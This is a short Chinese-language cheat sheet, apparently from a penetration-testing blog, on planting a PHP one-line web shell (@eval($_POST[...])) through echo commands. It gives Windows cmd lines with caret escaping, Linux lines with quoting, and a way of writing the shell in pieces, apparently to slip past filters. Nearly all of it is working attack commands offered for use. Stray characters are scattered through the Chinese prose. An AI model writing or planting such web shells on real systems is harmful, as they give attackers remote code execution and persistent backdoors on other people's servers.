Echo写入一句话木马+分段写入
1、windows
echo ^<? php @eval($_POST['123']); ?^> > shell.php
echo ^<? php @eval($_POST['123']);?^> >> shell.php
补充点:(1)^以转义字符的身份出现。因为在cmd环境中,有些字符具备特殊功能,如>、>>表示重定向,|表示管道,&、&&、||表示语句连接……它们都有特定的功度能,如果需要把它们作为字符输出知的话,echo >、echo | ……之类的写法就会出错——cmd解释器会把它们作为具有特殊功能的字符对待,而不会作为普通字符处理,这个时候,就需道要对这些特殊字符做转义处理:在每个特殊字符回前加上转义字符^答,因此,要输出这些特殊字符,就需要用 echo ^>、echo ^|、echo ^|^|、echo ^^……之类的格式来处理。此处转义<和>
(2) 此处^为什么不换成引号?因为windows写入时会把引号写进去
2、linux
echo '<?php @eval($_POST["123"]); ?>' > 1.php
echo '<?php @eval($_POST["123"]); ?>' >> 1.php
补充点:$为linux系统的变量符号,原样输出字符串,不进行转义或取变量用单引号(此处否则会把$_POST当成变量处理),123用双引号是为了和单引号区分,如果里外都使用单引号,会导致报错
3、Echo分段写入
echo '<?php ' > 1.php #先写入php头
echo '@eval(' >> 1.php #追加内容
echo '$_POST["1"]);?>' >> 1.php #追加最后部分内容